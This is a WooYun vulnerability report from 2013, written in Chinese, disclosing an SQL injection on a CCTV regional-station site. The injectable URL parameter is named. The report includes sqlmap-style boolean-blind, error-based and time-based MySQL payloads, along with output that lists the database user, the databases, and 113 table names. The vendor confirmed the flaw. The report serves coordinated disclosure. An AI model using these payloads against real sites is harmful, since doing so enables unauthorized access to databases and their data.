当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046259

漏洞标题:中国网络电视台2#某站点存在SQL注射漏洞导致信息泄漏

相关厂商:中国网络电视台

漏洞作者: Mr.leo

提交时间:2013-12-19 16:54

修复时间:2014-02-02 16:54

公开时间:2014-02-02 16:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-19: 细节已通知厂商并且等待厂商处理中
2013-12-20: 厂商已经确认,细节仅向厂商公开
2013-12-30: 细节向核心白帽子及相关领域专家公开
2014-01-09: 细节向普通白帽子公开
2014-01-19: 细节向实习白帽子公开
2014-02-02: 细节向公众公开

简要描述:

中国网络电视台2#某站点存在SQL注射漏洞导致信息泄漏

详细说明:

http://zhandian.cctv.com 中央电视台国内记者站
多个参数没有过滤,导致注射

123123.png


以id为例
zhandian.cctv.com/webs.php?id=20
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=20 AND 8017=8017
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=20 AND (SELECT 7573 FROM(SELECT COUNT(*),CONCAT(0x3a67666e3a,(SE
LECT (CASE WHEN (7573=7573) THEN 1 ELSE 0 END)),0x3a62766e3a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=20 AND SLEEP(5)
---
[18:18:54] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0
[18:18:54] [INFO] fetching current user
[18:18:54] [INFO] resumed: zhandian_cctv@%
current user: 'zhandian_cctv@%'
[18:18:54] [INFO] fetching current database
[18:18:54] [INFO] resumed: news_center
current database: 'news_center'
[18:18:54] [INFO] fetching database names
[18:18:54] [INFO] the SQL query used returns 3 entries
[18:18:54] [INFO] resumed: information_schema
[18:18:54] [INFO] resumed: news_center
[18:18:54] [INFO] resumed: news_center_uc
available databases [3]:
[*] information_schema
[*] news_center
[*] news_center_uc
Database: news_center
[113 tables]
+--------------------------+
| `[Table]ads` |
| `[Table]announcements` |
| `[Table]article` |
| `[Table]attachments` |
| `[Table]attachmenttypes` |
| `[Table]beijinggroups` |
| `[Table]beijingmembers` |
| `[Table]binglibuju` |
| `[Table]blocks` |
| `[Table]cache_0` |
| `[Table]cache_1` |
| `[Table]cache_3` |
| `[Table]cache_4` |
| `[Table]cache_6` |
| `[Table]cache_7` |
| `[Table]cache_8` |
| `[Table]cache_9` |
| `[Table]cache_b` |
| `[Table]cache_c` |
| `[Table]cache_e` |
| `[Table]cache` |
| `[Table]categories` |
| `[Table]channels` |
| `[Table]companys` |
| `[Table]corpus` |
| `[Table]crons` |
| `[Table]customfields` |
| `[Table]effects` |
| `[Table]favorites` |
| `[Table]flashad` |
| `[Table]friendlinks` |
| `[Table]friends` |
| `[Table]goodsprice` |
| `[Table]groupfields` |
| `[Table]groupinvite` |
| `[Table]groupitems` |
| `[Table]groups` |
| `[Table]groupuid` |
| `[Table]guestbooks` |
| `[Table]hrcategories` |
| `[Table]hrcomments` |
| `[Table]hrfolders` |
| `[Table]hritems` |
| `[Table]hrmessage` |
| `[Table]hrrates` |
| `[Table]itemtypes` |
| `[Table]liuyan` |
| `[Table]logininfo` |
| `[Table]lovecategories` |
| `[Table]lovecomments` |
| `[Table]lovefolders` |
| `[Table]loveitems` |
| `[Table]lovemessage` |
| `[Table]loverates` |
| `[Table]members` |
| `[Table]modelcolumns` |
| `[Table]modelinterval` |
| `[Table]modelperm` |
| `[Table]models` |
| `[Table]moviecategories` |
| `[Table]moviecomments` |
| `[Table]moviefolders` |
| `[Table]movieitems` |
| `[Table]moviemessage` |
| `[Table]movierates` |
| `[Table]partycategories` |
| `[Table]partycomments` |
| `[Table]partyfolders` |
| `[Table]partyitems` |
| `[Table]partymessage` |
| `[Table]partyrates` |
| `[Table]playstat` |
| `[Table]polls` |
| `[Table]prefields` |
| `[Table]receivemessage` |
| `[Table]reports` |
| `[Table]robotitems` |
| `[Table]robotlog` |
| `[Table]robotmessages` |
| `[Table]robots` |
| `[Table]rss` |
| `[Table]sendmessage` |
| `[Table]sessions` |
| `[Table]settings` |
| `[Table]sitemaplogs` |
| `[Table]spaceblogs` |
| `[Table]spacecache` |
| `[Table]spacecomments` |
| `[Table]spacefiles` |
| `[Table]spacegoods` |
| `[Table]spaceimages` |
| `[Table]spaceitems` |
| `[Table]spacelinks` |
| `[Table]spacenews` |
| `[Table]spacetags` |
| `[Table]spacevideos` |
| `[Table]styles` |
| `[Table]tagcache` |
| `[Table]tags` |
| `[Table]topicelements` |
| `[Table]topics` |
| `[Table]tracks` |
| `[Table]usercss` |
| `[Table]userfields` |
| `[Table]usergroups` |
| `[Table]userlinks` |
| `[Table]userprofile` |
| `[Table]userspacefields` |
| `[Table]userspaces` |
| `[Table]videos` |
| `[Table]visitors` |
| `[Table]words` |
| `[Table]ziliaoku` |
+--------------------------+

漏洞证明:

Database: news_center
[113 tables]
+--------------------------+
| `[Table]ads` |
| `[Table]announcements` |
| `[Table]article` |
| `[Table]attachments` |
| `[Table]attachmenttypes` |
| `[Table]beijinggroups` |
| `[Table]beijingmembers` |
| `[Table]binglibuju` |
| `[Table]blocks` |
| `[Table]cache_0` |
| `[Table]cache_1` |
| `[Table]cache_3` |
| `[Table]cache_4` |
| `[Table]cache_6` |
| `[Table]cache_7` |
| `[Table]cache_8` |
| `[Table]cache_9` |
| `[Table]cache_b` |
| `[Table]cache_c` |
| `[Table]cache_e` |
| `[Table]cache` |
| `[Table]categories` |
| `[Table]channels` |
| `[Table]companys` |
| `[Table]corpus` |
| `[Table]crons` |
| `[Table]customfields` |
| `[Table]effects` |
| `[Table]favorites` |
| `[Table]flashad` |
| `[Table]friendlinks` |
| `[Table]friends` |
| `[Table]goodsprice` |
| `[Table]groupfields` |
| `[Table]groupinvite` |
| `[Table]groupitems` |
| `[Table]groups` |
| `[Table]groupuid` |
| `[Table]guestbooks` |
| `[Table]hrcategories` |
| `[Table]hrcomments` |
| `[Table]hrfolders` |
| `[Table]hritems` |
| `[Table]hrmessage` |
| `[Table]hrrates` |
| `[Table]itemtypes` |
| `[Table]liuyan` |
| `[Table]logininfo` |
| `[Table]lovecategories` |
| `[Table]lovecomments` |
| `[Table]lovefolders` |
| `[Table]loveitems` |
| `[Table]lovemessage` |
| `[Table]loverates` |
| `[Table]members` |
| `[Table]modelcolumns` |
| `[Table]modelinterval` |
| `[Table]modelperm` |
| `[Table]models` |
| `[Table]moviecategories` |
| `[Table]moviecomments` |
| `[Table]moviefolders` |
| `[Table]movieitems` |
| `[Table]moviemessage` |
| `[Table]movierates` |
| `[Table]partycategories` |
| `[Table]partycomments` |
| `[Table]partyfolders` |
| `[Table]partyitems` |
| `[Table]partymessage` |
| `[Table]partyrates` |
| `[Table]playstat` |
| `[Table]polls` |
| `[Table]prefields` |
| `[Table]receivemessage` |
| `[Table]reports` |
| `[Table]robotitems` |
| `[Table]robotlog` |
| `[Table]robotmessages` |
| `[Table]robots` |
| `[Table]rss` |
| `[Table]sendmessage` |
| `[Table]sessions` |
| `[Table]settings` |
| `[Table]sitemaplogs` |
| `[Table]spaceblogs` |
| `[Table]spacecache` |
| `[Table]spacecomments` |
| `[Table]spacefiles` |
| `[Table]spacegoods` |
| `[Table]spaceimages` |
| `[Table]spaceitems` |
| `[Table]spacelinks` |
| `[Table]spacenews` |
| `[Table]spacetags` |
| `[Table]spacevideos` |
| `[Table]styles` |
| `[Table]tagcache` |
| `[Table]tags` |
| `[Table]topicelements` |
| `[Table]topics` |
| `[Table]tracks` |
| `[Table]usercss` |
| `[Table]userfields` |
| `[Table]usergroups` |
| `[Table]userlinks` |
| `[Table]userprofile` |
| `[Table]userspacefields` |
| `[Table]userspaces` |
| `[Table]videos` |
| `[Table]visitors` |
| `[Table]words` |
| `[Table]ziliaoku` |
+--------------------------+

修复方案:

过滤参数

版权声明:转载请注明来源 Mr.leo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-12-20 15:57

厂商回复:

非常感谢,我们将尽快进行该业务的整改!~~感谢您对我们的支持和帮助!~~~

最新状态:

暂无